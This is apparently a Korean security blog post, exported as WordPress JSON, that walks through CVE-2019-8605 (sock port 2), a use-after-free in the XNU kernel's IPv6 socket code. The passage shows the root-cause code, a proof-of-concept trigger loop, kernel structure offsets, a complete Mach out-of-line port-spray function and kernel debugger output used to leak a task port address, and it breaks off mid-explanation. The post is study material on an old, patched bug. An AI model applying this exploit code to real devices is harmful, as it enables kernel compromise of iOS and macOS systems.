{"id":3932,"date":"2025-08-18T11:19:07","date_gmt":"2025-08-18T02:19:07","guid":{"rendered":"https:\/\/h4ck.kr\/?p=3932"},"modified":"2025-08-23T10:34:16","modified_gmt":"2025-08-23T01:34:16","slug":"%ec%8b%a4%ec%8a%b5-cve-2019-8605sock-port-2-%ec%9d%b4%ed%95%b4%ed%95%98%ea%b8%b0","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=3932","title":{"rendered":"[\uc2e4\uc2b5] CVE-2019-8605(sock port 2) \uc774\ud574\ud558\uae30"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">\uad00\ub828 \uae00\uacfc \ucf54\ub4dc\ub4e4\uc740 \uc544\ub798 \ub9c1\ud06c\uc5d0\uc11c \ud655\uc778\ud558\uc2e4 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/tree\/main\/CVE-2019-8605\">https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/tree\/main\/CVE-2019-8605<\/a><\/p>\n\n\n\n<div class=\"wp-block-jetpack-markdown\"><h2>\ubc84\uadf8\uc5d0 \ub300\ud55c \uadfc\ubcf8 \uc6d0\uc778 \ubd84\uc11d<\/h2>\n<pre><code class=\"language-c\">void in6_pcbdetach(struct inpcb *inp) {\n    \/\/ ...\n    if (!(so-&gt;so_flags &amp; SOF_PCBCLEARING)) {\n        struct ip_moptions *imo;\n        struct ip6_moptions *im6o;\n\n        inp-&gt;inp_vflag = 0;\n        if (inp-&gt;in6p_options != NULL) {\n            m_freem(inp-&gt;in6p_options);\n            inp-&gt;in6p_options = NULL;   \/\/ &lt;- \uc62c\ubc14\ub974\uac8c NULL \ucc98\ub9ac (GOOD)\n        }\n        ip6_freepcbopts(inp-&gt;in6p_outputopts);    \/\/ &lt;- \ud574\uc81c\ub9cc \ud568, NULL \ucc98\ub9acX (BAD)\n        \/\/ \ub9e4\ud551\ub41c \uc8fc\uc18c\uc758 \uacbd\uc6b0 IPv4 \uad00\ub828 \ub9ac\uc18c\uc2a4 \ud574\uc81c\n        ROUTE_RELEASE(&amp;inp-&gt;in6p_route);\n        if (inp-&gt;inp_options != NULL) {\n            (void)m_free(inp-&gt;inp_options);        \/\/ &lt;- \uc62c\ubc14\ub974\uac8c NULL \ucc98\ub9ac, (GOOD)\n            inp-&gt;inp_options = NULL;\n        }\n        \/\/ ...\n    }\n}\n\n<\/code><\/pre>\n<p>\ubc84\uadf8\uac00 \ubc1c\uc0dd\ud558\ub294 \ucf54\ub4dc\ub294 \uc704\uc640 \uac19\ub2e4.<\/p>\n<p><code>ip6_freepcbopts<\/code> \ud568\uc218\ub97c \ud1b5\ud574 <code>inp-&gt;in6p_outputopts<\/code> \uac00 \ud574\uc81c\ub418\uc9c0\ub9cc,\nNULL\ub85c \uc124\uc815\ub418\uc9c0 \uc54a\uc544 \ud3ec\uc778\ud130\uac00 \uc7ac\uc0ac\uc6a9\ub420 \uc218 \uc788\ub2e4\ub294 \uc810\uc774\ub2e4.<\/p>\n<p>\uc774\ub807\uac8c NULL \uc124\uc815\ub418\uc5b4 \uc788\uc9c0 \uc54a\uc544 \ud3ec\uc778\ud130\uac00 \uc5ec\uc804\ud788 \ud574\uc81c\ub41c \uba54\ubaa8\ub9ac \uc601\uc5ed\uc744 \uac00\ub9ac\ud0a4\uace0 \ub0a8\uc544\uc788\ub294 \uc8fc\uc18c\ub97c\n<strong>\ubc14\ub85c \ub315\uae00\ub9c1 \ud3ec\uc778\ud130 (dangling pointer)\ub77c\uace0 \ubd80\ub978\ub2e4.<\/strong><\/p>\n<p><code>ip6_freepcbopts<\/code> \ud568\uc218\ub294 \uc5b4\ub5bb\uac8c \ud558\uba74 \ud2b8\ub9ac\uac70\ud560 \uc218 \uc788\uc744\uae4c?<\/p>\n<p><a href=\"https:\/\/newosxbook.com\/xxr\/index.php?q=ip6_freepcbopts&amp;ver=xnu-4903.221.2&amp;case=false&amp;def=false\">https:\/\/newosxbook.com\/xxr\/index.php?q=ip6_freepcbopts&amp;ver=xnu-4903.221.2&amp;case=false&amp;def=false<\/a><\/p>\n<p>\ub9ac\ub205\uc2a4 \ucee4\ub110 \uc0b4\ud3b4\ubcfc\ub54c elixir\uc640 \ube44\uc2b7\ud55c \uc0ac\uc774\ud2b8\ub97c \ucc3e\uc558\ub294\ub370\n\uc544\ub798\uc640 \uac19\uc774 \ucd94\uc801\ud560 \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">Case-insensitive search for in6_pcbdetach in XNU version 4903.221.2\n  bsd\/netinet6\/udp6_usrreq.c\t689: in6_pcbdetach(inp);\n894: in6_pcbdetach(inp);\n  bsd\/netinet6\/in6_pcb.h\t101:extern void in6_pcbdetach(struct inpcb *);\n  bsd\/netinet6\/in6_pcb.c\t170: in6_pcbdetach(inp);\n631: in6_pcbdetach(inp);\n635:in6_pcbdetach(struct inpcb *inp) definition\n  bsd\/netinet6\/raw_ip6.c\t829: in6_pcbdetach(inp);\n  bsd\/netinet\/udp_usrreq.c\t2477: in6_pcbdetach(inp);\n  bsd\/netinet\/tcp_usrreq.c\t2701: in6_pcbdetach(inp);\n  bsd\/netinet\/raw_ip.c\t1071: in6_pcbdetach(inp);\n  bsd\/netinet\/tcp_timer.c\t613: in6_pcbdetach(inp);\n658: in6_pcbdetach(inp);\n  bsd\/netinet\/flow_divert.c\t2694: in6_pcbdetach(inp);\n  bsd\/netinet\/tcp_subr.c\t1591: in6_pcbdetach(inp);\n\nvoid\nin6_pcbdetach(struct inpcb *inp);\nbsd\/netinet6\/in6_pcb.c\t681: ip6_freepcbopts(inp-&gt;in6p_outputopts);\n\nbsd\/netinet6\/ip6_output.c\t3345:ip6_freepcbopts(struct ip6_pktopts *pktopt) definition\n<\/code><\/pre>\n<p>\ub2e4\uc2dc \ub3cc\uc544\uc640\uc11c\u2026<\/p>\n<p>\uc5ec\uae30\uc11c \ubb38\uc81c\ub294 <code>inp-&gt;in6p_outputopts<\/code> \uac00 \ud574\uc81c\ub418\uc9c0\ub9cc NULL\ub85c \uc124\uc815\ub418\uc9c0 \uc54a\uc544 \ud3ec\uc778\ud130\uac00 \uc7ac\uc0ac\uc6a9\ub420 \uc218 \uc788\ub2e4\ub294 \uac83\uc774\ub2e4.<\/p>\n<p>\uc18c\ucf13\uc744 \ud30c\uad34\ud558\uc9c0 \uc54a\uace0 \uc5f0\uacb0\uc744 \ub04a\uc73c\uba74 \uc774 \uc870\uac74\uc5d0 \ub3c4\ub2ec\ud560 \uc218 \uc788\ub2e4\uace0 \ucd94\uac00\uc801\uc73c\ub85c \uc124\uba85\ub418\uc5c8\ub2e4.<\/p>\n<h2>\uac1c\ub150 \uc99d\uba85 \ucf54\ub4dc<\/h2>\n<p>\uc0cc\ub4dc\ubc15\uc2a4 \ub0b4\uc5d0\uc11c \ub2e4\uc74c PoC\uac00 \uc801\uc6a9\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-c\">while (1) {\n    int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);\n\n    \/\/ \uc5f0\uacb0\uc744 \ub04a\uc740 \ud6c4 (\uadf8\ub9ac\uace0 \uc18c\ucf13 \uc635\uc158\uc744 \ud574\uc81c\ud55c \ud6c4) setsockopt \ud5c8\uc6a9\n    struct so_np_extensions sonpx = {\n        .npx_flags = SONPX_SETOPTSHUT,\n        .npx_mask  = SONPX_SETOPTSHUT\n    };\n    setsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, &amp;sonpx, sizeof(sonpx));\n\n    int minmtu = -1;\n    setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &amp;minmtu, sizeof(minmtu)); \/\/ in6p_outputops \ud560\ub2f9\n    disconnectx(s, 0, 0);   \/\/ in6p_outputopts \ud574\uc81c\n    **setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &amp;minmtu, sizeof(minmtu)); \/\/ UAF \ubc1c\uc0dd**\n    close(s);\n}\n\n<\/code><\/pre>\n<h1>Exploit<\/h1>\n<h2>1. Dangling ptr\uc744 \ud65c\uc6a9\ud55c task port \uc720\ucd9c<\/h2>\n<p>\uc774\uc81c \ubc84\uadf8\uc640 \ud2b8\ub9ac\uac70 \ubc29\ubc95\uc744 \uc54c\uc558\uc73c\ub2c8 \uc775\uc2a4\ud50c\ub85c\uc787\uc73c\ub85c \ub118\uc5b4\uac00\ubcf4\uc790.<\/p>\n<p>\uc774\uac83\uc740 UAF \ubc84\uadf8\uc774\ubbc0\ub85c &quot;\ud799 \uc2a4\ud504\ub808\uc774&quot;\ub77c\ub294 \uae30\uc220\uc774 \uc0ac\uc6a9\ub41c\ub2e4.<\/p>\n<p>UAF\ub41c \uac1d\uccb4\ub294 \ud574\uc81c\ub418\uc5c8\ub294\ub370, \ud574\uc81c\ub41c \uba54\ubaa8\ub9ac\uc640 \ud574\uc81c\ub418\uc9c0 \uc54a\uc740 \uba54\ubaa8\ub9ac\uc758 \ucc28\uc774\ub294\u2026 \ubb34\uc5c7\uc77c\uae4c?<\/p>\n<p>\ud574\uc81c\ub41c \uba54\ubaa8\ub9ac\ub294 \uc7ac\uc0ac\uc6a9\ub420 \uc218 \uc788\ub2e4. \ub2e4\uc74c \ud560\ub2f9\uc774 \ud574\uc81c\ub41c \uac1d\uccb4\uac00 \uc788\ub358 \ub3d9\uc77c\ud55c \uc8fc\uc18c\uc5d0 \ub05d\ub0a0 \uac00\ub2a5\uc131\uc774 \uc788\uc73c\uba70, \uc774\ub7f0 \uc2dd\uc73c\ub85c \ud574\ub2f9 \uac1d\uccb4\uc758 \ub370\uc774\ud130\ub97c \uc81c\uc5b4\ud560 \uc218 \uc788\ub2e4.<\/p>\n<p>\uc774\uc81c \ub5a0\uc624\ub974\ub294 \uc9c8\ubb38\uc740:<\/p>\n<ol>\n<li>\n<p>\ucee4\ub110\uc5d0\uac8c \uba54\ubaa8\ub9ac\ub97c \ud560\ub2f9\ud558\ub77c\uace0 \uc5b4\ub5bb\uac8c \uc9c0\uc2dc\ud558\ub098?<\/p>\n<\/li>\n<li>\n<p>\uc5b4\ub5bb\uac8c \ub3d9\uc77c\ud55c \uc8fc\uc18c\uc5d0 \ub05d\ub098\ub294\uc9c0 \ud655\uc778\ud560 \uc218 \uc788\ub098?<\/p>\n<\/li>\n<\/ol>\n<p>\ud799\uc2a4\ud504\ub808\uc774.<\/p>\n<p>\ub370\uc774\ud130\uac00 \uc5b4\ub514\ub85c \uac00\ub294\uc9c0 \uc81c\uc5b4\ud560 \uc218 \uc5c6\uae30 \ub54c\ubb38\uc5d0 \ub9ce\uc740 \ud560\ub2f9\uc744 \ud558\uace0\n\uc6b0\ub9ac\uac00 \uc6d0\ud558\ub294 \uacf3\uc5d0 \ub3c4\ucc29\ud558\uae30\ub97c \uae30\ub2e4\ub9b0\ub2e4\u2026<\/p>\n<p>\uadf8\uac83\uc774 \ub3c4\ucc29\ud588\ub294\uc9c0 \uc5b4\ub5bb\uac8c \ud655\uc778\ud558\ub294\uc9c0\ub294 \uc6b0\ub9ac\uac00 UAF\ud55c \uac1d\uccb4\uc5d0 \ub530\ub77c \ub2e4\ub974\uc9c0\ub9cc,\n\uc774 \uacbd\uc6b0\uc5d0\ub294 \uac00\ub2a5\ud558\uba70 \ub9e4\uc6b0 \uac04\ub2e8\ud558\ub2e4.<\/p>\n<ol start=\"3\">\n<li>\uc5b4\ub5a4 \ub370\uc774\ud130\ub97c \ub123\uc5b4\uc57c \ud558\ub098?<\/li>\n<\/ol>\n<p><strong>IOSurface\ub098 mach \uba54\uc2dc\uc9c0\uc640 \uac19\uc740 \uc5ec\ub7ec \uac00\uc9c0 \ubc29\ubc95\uc774 \uc874\uc7ac\ud55c\ub2e4.<\/strong><\/p>\n<p>(\ucc38\uace0: \ucee4\ub110 \uba54\ubaa8\ub9ac\ub294 \ud560\ub2f9 \ud06c\uae30\uc5d0 \ub530\ub77c \uc601\uc5ed\uc73c\ub85c \uad6c\uc131\ub418\ubbc0\ub85c, \uc6b0\ub9ac\uac00 \ub9cc\ub4dc\ub294 \ud560\ub2f9\uc740 UAF\ub41c \uac1d\uccb4\uc640 \ub3d9\uc77c\ud55c \ud06c\uae30\uc5ec\uc57c \ub3d9\uc77c\ud55c \uc8fc\uc18c\uc5d0 \ub05d\ub0a0 \uc218 \uc788\uc74c. \uc774\uc5d0 \ub300\ud55c \uc790\uc138\ud55c \ub0b4\uc6a9\uc740 \ub098\uc911\uc5d0 \uc124\uba85).<\/p>\n<p>IOSurface\ub294 \uadf8\ub798\ud53d\uc5d0 \uc0ac\uc6a9\ub418\ub294 \ucee4\ub110 \ud655\uc7a5\uc73c\ub85c, \uc0cc\ub4dc\ubc15\uc2a4\uc5d0\uc11c \uc811\uadfc \uac00\ub2a5\ud558\uba70 \uc0ac\uc6a9\uc790 \uc815\uc758 \ud06c\uae30\uc758 \ub370\uc774\ud130\ub97c \ucee4\ub110\ub85c \uac00\uc838\uc62c \uc218 \uc788\ub294 \uba54\uc11c\ub4dc\ub97c \uc81c\uacf5\ud55c\ub2e4.<\/p>\n<p><strong>Mach \uba54\uc2dc\uc9c0\ub294 \ud504\ub85c\uc138\uc2a4 \uac04 \ud1b5\uc2e0\uc5d0 \uc0ac\uc6a9\ub418\uc9c0\ub9cc, \ucee4\ub110\uc774 \ubaa8\ub4e0 \ud504\ub85c\uc138\uc2a4\ub97c \uad00\ub9ac\ud558\ubbc0\ub85c \ub370\uc774\ud130\ub97c \uba3c\uc800 \ucee4\ub110\ub85c \ubcf4\ub0b8\ub2e4. \ub530\ub77c\uc11c \uc774 \ubc29\ubc95\uc744 \uc0ac\uc6a9\ud558\uc5ec \ub370\uc774\ud130\ub97c \ucee4\ub110\ub85c \ubcf4\ub0b4\ub294\uac8c \uac00\ub2a5\ud558\ub2e4.<\/strong><\/p>\n<p>\uba3c\uc800 \ub315\uae00\ub9c1 \ud3ec\uc778\ud130\uc778 <code>inp-&gt;in6p_outputopts<\/code> \uac00 \ubb54\uc9c0 \uc0b4\ud3b4\ubcf4\uc790<\/p>\n<p>\ud0c0\uc785\uc740 <code>struct ip6_pktopts *<\/code> \uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">void ip6_freepcbopts(struct ip6_pktopts *);\n<\/code><\/pre>\n<p>proc \uad6c\uc870\uccb4\uc5d0\uc11c \ub3c4\ub2ec\ud558\ub294 \ubc29\ubc95\uc740 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<pre><code class=\"language-c\">our proc struct \n-&gt; struct filedesc (named p_fd, offset = 0x100 or 0x108 on iOS 11) \n-&gt; struct fileproc array (named fd_ofiles, offset = 0) \n-&gt; \uc18c\ucf13 \ud30c\uc77c \ub514\uc2a4\ud06c\ub9bd\ud130\ub97c \uc778\ub371\uc2a4\ub85c \ud558\ub294 \uc694\uc18c \n-&gt; struct fileglob (named f_fglob, offset = 8) \n-&gt; struct socket (named fg_data, offset = 56) \n-&gt; struct inpcb (named so_pcb, offset = 16) \n-&gt; struct ip6_pktopts (named inp6_outputopts, offset = 304). \n<\/code><\/pre>\n<p>\uc774\uc81c &quot;<code>struct ip6_pktopts<\/code>&quot;\ub97c \uc0b4\ud3b4\ubcf4\uba74,<\/p>\n<pre><code class=\"language-c\">struct ip6_pktopts {\n    struct mbuf         *ip6po_m;\n    int                  ip6po_hlim;\n    **struct in6_pktinfo  *ip6po_pktinfo;**\n    struct ip6po_nhinfo  ip6po_nhinfo;\n    struct ip6_hbh      *ip6po_hbh;\n    struct ip6_dest     *ip6po_dest1;\n    struct ip6po_rhinfo  ip6po_rhinfo;\n    struct ip6_dest     *ip6po_dest2;\n    **int                  ip6po_tclass;**\n    **int                  ip6po_minmtu;**\n    **int                  ip6po_prefer_tempaddr;**\n    int                  ip6po_flags;\n};\n<\/code><\/pre>\n<p>\uc5ec\uae30\uc5d0\uc11c **<code>get\/setsockopt<\/code>**\ub97c \uc0ac\uc6a9\ud558\uc5ec<\/p>\n<p><code>ip6po_pktinfo<\/code><\/p>\n<p><code>ip6po_tclass<\/code><\/p>\n<p><code>ip6po_minmtu<\/code><\/p>\n<p><code>ip6po_prefer_tempaddr<\/code><\/p>\n<p>\ud544\ub4dc\ub97c \uc81c\uc5b4\ud560 \uc218 \uc788\ub2e4\uace0 \ud55c\ub2e4.<\/p>\n<p>\ucde8\uc57d\uc810\uc744 \uc0ac\uc6a9\ud558\uc5ec \uc6d0\ud560 \ub54c\ub9c8\ub2e4 \uc774 \uad6c\uc870\uccb4\ub97c \ud574\uc81c\ud558\uace0,\n\ud799 \uc2a4\ud504\ub808\uc774\ub97c \uc0ac\uc6a9\ud558\uc5ec \uc6d0\ud558\ub294 \ub0b4\uc6a9\uc73c\ub85c \ud560\ub2f9\ud560 \uc218 \uc788\ub2e4\ub294 \uac83\uc744 \ub2e4\uc2dc\ud55c\ubc88 \uc0c1\uae30\ud558\uc790.<\/p>\n<p>\uc6b0\ub9ac\uac00 \uba3c\uc800 \ud560 \uc218 \uc788\ub294 \ud55c \uac00\uc9c0\ub294 data leak\uc774\ub2e4.<\/p>\n<p><code>int                  ip6po_minmtu;<\/code><\/p>\n<p><code>int                  ip6po_prefer_tempaddr;<\/code><\/p>\n<p>\uc640 \uac19\uc740 \uc815\uc218\ub97c \uc77d\uc744 \uc218 \uc788\ub2e4.<\/p>\n<p>\uc774\ub97c \ud1b5\ud574 \uc6b0\ub9ac \ud0dc\uc2a4\ud06c \ud3ec\ud2b8\uc758 \ucee4\ub110 \uc8fc\uc18c\ub97c \uc720\ucd9c\ud560 \uc218 \uc788\ub2e4.<\/p>\n<p>\uc5b4\ub5bb\uac8c \ud558\uba74 \uac00\ub2a5\ud560\uae4c?\nOOL \uba54\uc2dc\uc9c0\ub97c \ud65c\uc6a9\ud55c Ian Beer\uc758 \uac04\ub2e8\ud55c \uc2a4\ud504\ub808\uc774 \uae30\ubc95\uc744 \uc0ac\uc6a9\ud55c\ub2e4.<\/p>\n<p>OOL \uba54\uc2dc\uc9c0\ub294 XNU\uc758 \ud504\ub85c\uc138\uc2a4 \uac04 \ud1b5\uc2e0(IPC) \uba54\ucee4\ub2c8\uc998\uc5d0 \uc911\uc694\ud558\uac8c \uc4f0\uc774\uae30\ub3c4 \ud558\uba70,\n\uba54\uc2dc\uc9c0\ub97c \uc218\uc2e0\ud558\uae30 \uc804\uae4c\uc9c0 \uacc4\uc18d \ucee4\ub110 \uacf5\uac04\uc5d0 \ub0a8\uc544\ub450\uac8c \ub9cc\ub4e4 \uc218 \uc788\ub2e4.<\/p>\n<p><a href=\"https:\/\/dmcyk.xyz\/post\/xnu_ipc_iii_ool_data\/\">https:\/\/dmcyk.xyz\/post\/xnu_ipc_iii_ool_data\/<\/a><\/p>\n<p>\uc5ec\uae30\uc11c \uad00\uc2ec \uc788\ub294 \uac1d\uccb4, \uc608\ub97c \ub4e4\uc5b4 <strong>\ud3ec\ud2b8 \uad8c\ud55c(port right)<\/strong> \u2014 \uc744 \uc120\ud0dd\ud558\uace0,\n\ud574\ub2f9 \ud3ec\ud2b8 \uad8c\ud55c\uc744 \uc5ec\ub7ec \ubc88 \ubcf5\uc0ac\ud55c <strong>OOL(Out-Of-Line) \ub514\uc2a4\ud06c\ub9bd\ud130<\/strong>\uac00 \ud3ec\ud568\ub41c Mach \uba54\uc2dc\uc9c0\ub97c \uc900\ube44\ud55c\ub2e4.<\/p>\n<p>\uc55e\uc11c \ubcf8 \uae30\uc220\uc744 \uc0ac\uc6a9\ud574 \uc774 \uba54\uc2dc\uc9c0\ub97c <strong>\ub2e4\ub978 \uc784\uc2dc \ud3ec\ud2b8(ephemeral port)<\/strong> \ub85c \uc804\uc1a1\ud558\uba74,\n\uacb0\uacfc\uc801\uc73c\ub85c \ud3ec\ud2b8 \ub514\uc2a4\ud06c\ub9bd\ud130\uac00 <code>kalloc<\/code> \uc874\uc5d0 \uc5ec\ub7ec \ubc88 \ubcf5\uc0ac\ub418\uac8c \ub41c\ub2e4.<\/p>\n<p>\ucf54\ub4dc\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/\/ from Ian Beer. make a kernel allocation with the kernel address of 'target_port', 'count' times\nmach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) {\n    mach_port_t q = MACH_PORT_NULL;\n    kern_return_t err;\n    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &amp;q);\n    if (err != KERN_SUCCESS) {\n        printf(&quot;[-] failed to allocate port\\n&quot;);\n        return 0;\n    }\n    \n    mach_port_t* ports = malloc(sizeof(mach_port_t) * count);\n    for (int i = 0; i &lt; count; i++) {\n        ports[i] = target_port;\n    }\n    \n    struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg));\n    \n    msg-&gt;hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);\n    msg-&gt;hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);\n    msg-&gt;hdr.msgh_remote_port = q;\n    msg-&gt;hdr.msgh_local_port = MACH_PORT_NULL;\n    msg-&gt;hdr.msgh_id = 0x41414141;\n    \n    msg-&gt;body.msgh_descriptor_count = 1;\n    \n    msg-&gt;ool_ports.address = ports;\n    msg-&gt;ool_ports.count = count;\n    msg-&gt;ool_ports.deallocate = 0;\n    msg-&gt;ool_ports.disposition = disposition;\n    msg-&gt;ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;\n    msg-&gt;ool_ports.copy = MACH_MSG_PHYSICAL_COPY;\n    \n    err = mach_msg(&amp;msg-&gt;hdr,\n                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,\n                   msg-&gt;hdr.msgh_size,\n                   0,\n                   MACH_PORT_NULL,\n                   MACH_MSG_TIMEOUT_NONE,\n                   MACH_PORT_NULL);\n    \n    if (err != KERN_SUCCESS) {\n        printf(&quot;[-] failed to send message: %s\\n&quot;, mach_error_string(err));\n        return MACH_PORT_NULL;\n    }\n    \n    return q;\n}\n<\/code><\/pre>\n<p>\uc704 \ucf54\ub4dc\uc5d0\uc11c \uc8fc\ubaa9\ud560 \uc810\uc740, \uba54\uc2dc\uc9c0\uac00 <strong>\uc804\uc1a1(MACH_SEND_MSG)<\/strong> \ub418\uc9c0\ub9cc <strong>\uc218\uc2e0\ub418\uc9c0\ub294 \uc54a\ub294\ub2e4<\/strong>\ub294 \uc810\uc774\ub2e4.<\/p>\n<p>\uc774\ub807\uac8c \ud558\uba74 \uba54\uc2dc\uc9c0\uac00 \uc218\uc2e0\ub418\uac70\ub098, \uba54\uc2dc\uc9c0\uc758 \ub300\uc0c1 \ud3ec\ud2b8\uac00 \ud30c\uad34\ub418\uae30 \uc804\uae4c\uc9c0\ub294 <strong>\ud3ec\ud2b8 \uc2a4\ud504\ub808\uc774\uac00 \ucee4\ub110 \uacf5\uac04\uc5d0 \ub0a8\uc544 \uc788\uac8c<\/strong> \ub41c\ub2e4.<\/p>\n<p>\uc774 \ub54c\ubb38\uc5d0 \uc2a4\ud504\ub808\uc774 \ud568\uc218\ub294 <strong>\ub300\uc0c1 \ud3ec\ud2b8(target port)<\/strong> \ub97c \ubc18\ud658\ud55c\ub2e4. \ucee4\ub110 \ub0b4\ubd80\uc5d0\uc11c \ubcf5\uc0ac\uac00 \uc644\ub8cc\ub41c \ud6c4, \ud574\ub2f9 \ud3ec\ud2b8\ub97c \uace7\ubc14\ub85c \ud574\uc81c\ud558\uace0,  \uc8fc\uc18c \uc720\ucd9c\uc744 \uc2dc\ub3c4\ud55c\ub2e4.<\/p>\n<p>\ucee4\ub110 \uc874(zone)\uc758 \ud3ec\uc778\ud130\ub294 \ud56d\uc0c1 <code>0xffffff8.........<\/code> \ud615\ud0dc\ub97c \ub748\ub2e4\u2026 \ub530\ub77c\uc11c \uc720\ucd9c\ub41c \uc8fc\uc18c\uac00 <strong>8\ubc14\uc774\ud2b8 \uc911 \uc0c1\uc704 1\ubc14\uc774\ud2b8\uac00 0<\/strong>\uc77c\uc9c0\ub77c\ub3c4(\uc989, <strong>7\ubc14\uc774\ud2b8\ub9cc \uc720\ucd9c\ub418\ub354\ub77c\ub3c4<\/strong>), \ud574\ub2f9 \uac12\uc774 \ucee4\ub110 \ud3ec\uc778\ud130\ub77c\ub294 \uac83\uc744 \uc54c\uc544\ubcfc \uc218 \uc788\ub2e4.<\/p>\n<p>\uc608\uc2dc\ub85c \uc544\ub798 \ucf54\ub4dc\ub97c \uc2e4\ud589\uc2dc\ucf1c\uc11c \ub514\ubc84\uae45\ud574\uc11c \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n<pre><code class=\"language-c\">int main(int argc, char *argv[], char *envp[]) {\n\n    mach_port_t p = fill_kalloc_with_port_pointer(mach_task_self(), 192\/sizeof(uint64_t), MACH_MSG_TYPE_COPY_SEND);\n    printf(&quot;p: 0x%x\\n&quot;, p);\n    while(1) {};\n\n    return 0;\n}\n<\/code><\/pre>\n<p>\uc6b0\uc120\uc740 \uc800 192\ud06c\uae30\ub9cc\ud07c kalloc\uc744 \uc218\ud589\ud558\ub294\uacf3\uc740\n\ub0b4\ubd80\uc801\uc73c\ub85c <code>ipc_kmsg_copyin_ool_ports_descriptor<\/code>  \ud568\uc218\uc5d0\uc11c \ud638\ucd9c\ub41c\ub2e4.<\/p>\n<p>QEMU\ub85c \ub514\ubc84\uae45\ud558\ub294\ub370.\n\uac00\uc0c1 \ud638\uc2a4\ud2b8\ub9e5\uc5d0\uc11c lldb\uc640 \uc6b0\ubd84\ud22c\uc5d0\uc11c gdb-gef \ub3d9\uc2dc\uc5d0 \ud63c\uc6a9\ud574\uc11c \ub514\ubc84\uae45\ud560 \ud544\uc694\uac00 \uc788\uc5c8\ub2e4.<\/p>\n<pre><code class=\"language-nasm\">Target 0: (kernel) stopped.\n(lldb) p\/x ipc_kmsg_copyin_ool_ports_descriptor\n(mach_msg_descriptor_t *(*)(mach_msg_ool_ports_descriptor_t *, mach_msg_descriptor_t *, int, vm_map_t, ipc_space_t, ipc_object_t, ipc_kmsg_t, mach_msg_option_t *, mach_msg_return_t *)) $0 = 0xffffff801778df60 (kernel`ipc_kmsg_copyin_ool_ports_descriptor at ipc_kmsg.c:2810)\n\n# ipc_kmsg_copyin_ool_ports_descriptor \ud568\uc218 \uc8fc\uc18c\ub294 0xffffff801778df60 \n# \ub0b4\ubd80\uc801\uc73c\ub85c kalloc\uc774 ipc_kmsg_copyin_ool_ports_descriptor+0xe9\uc5d0\uc11c call \ub428.\n# \ube0c\ud3ec\ub97c \uac80\ngef&gt; b *0xffffff801778df60+0xe9\nBreakpoint 2 at 0xffffff801778e049\n\n# kalloc \ud560\ub2f9 \uc8fc\uc18c\ub294 ipc_kmsg_copyin_ool_ports_descriptor+0xee, \uc989 call \ubc14\ub85c \uc9c1\ud6c4\uc5d0 \ube0c\ud3ec\ub97c \uac78\uc5b4 \ud655\uc778\ngef&gt; b *0xffffff801778df60+0xee\nBreakpoint 3 at 0xffffff801778e04e\n<\/code><\/pre>\n<p>\uc704\uc640 \uac19\uc740 \uc870\uae08 \uae4c\ub2e4\ub85c\uc6b4 \ubc29\ubc95\uc73c\ub85c \ub514\ubc84\uae45\ud558\ub2e4\ubcf4\uba74, kalloc \ud568\uc218 \ud638\ucd9c\ud558\ub294\ub370\uc5d0\uc11c<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-8605\/pics\/image.png\" alt=\"image.png\"><\/p>\n<p>0xc0(=192) \ud06c\uae30\ub97c \ud560\ub2f9\ud558\ub294 \ubaa8\uc2b5\uc744 \ubcfc \uc218 \uc788\uc744\ud150\ub370,<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-8605\/pics\/image%201.png\" alt=\"image.png\"><\/p>\n<p>\ud560\ub2f9\ub41c \uc8fc\uc18c\ub294 0xffffff801f79a540\uc774\ub2e4.<\/p>\n<p>\uc774\ud6c4 \uacc4\uc18d \uc2e4\ud589\uc2dc\ud0a4\uace0 \ub2e4\uc2dc \ud560\ub2f9\uc8fc\uc18c\ub97c \ud655\uc778\ud574\ubcf4\uba74,<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-8605\/pics\/image%202.png\" alt=\"image.png\"><\/p>\n<p>\uc704\uc640 \uac19\uc740 \uac12\uc774 \uc5f0\uc18d\uc801\uc73c\ub85c \ucc44\uc6cc\uc9c4\uac83\uc744 \ubcfc \uc218 \uc788\ub2e4.\n\uc774\uac83\uc774 \ubc14\ub85c \uc6b0\ub9ac \ud504\ub85c\uc138\uc2a4\uc758 task \uc8fc\uc18c\uc774\ub2e4.<\/p>\n<p><code>ports_length<\/code>\ub97c dangling\ub41c <code>inp-&gt;in6p_outputopts<\/code>\uc758 \ud06c\uae30\uc640 \uac19\uac8c \uc124\uc815\ud588\uae30 \ub54c\ubb38\uc5d0\n\ud574\ub2f9 \ubc30\uc5f4\uc774 \uc6b0\ub9ac\uac00 \ud574\uc81c\ud55c <code>inp-&gt;in6p_outputopts<\/code> \uba54\ubaa8\ub9ac \uacf5\uac04\uc5d0 \ub2e4\uc2dc \ud560\ub2f9\ub418\ub3c4\ub85d \ub9cc\ub4e4 \uc218 \uc788\uace0\ndangling 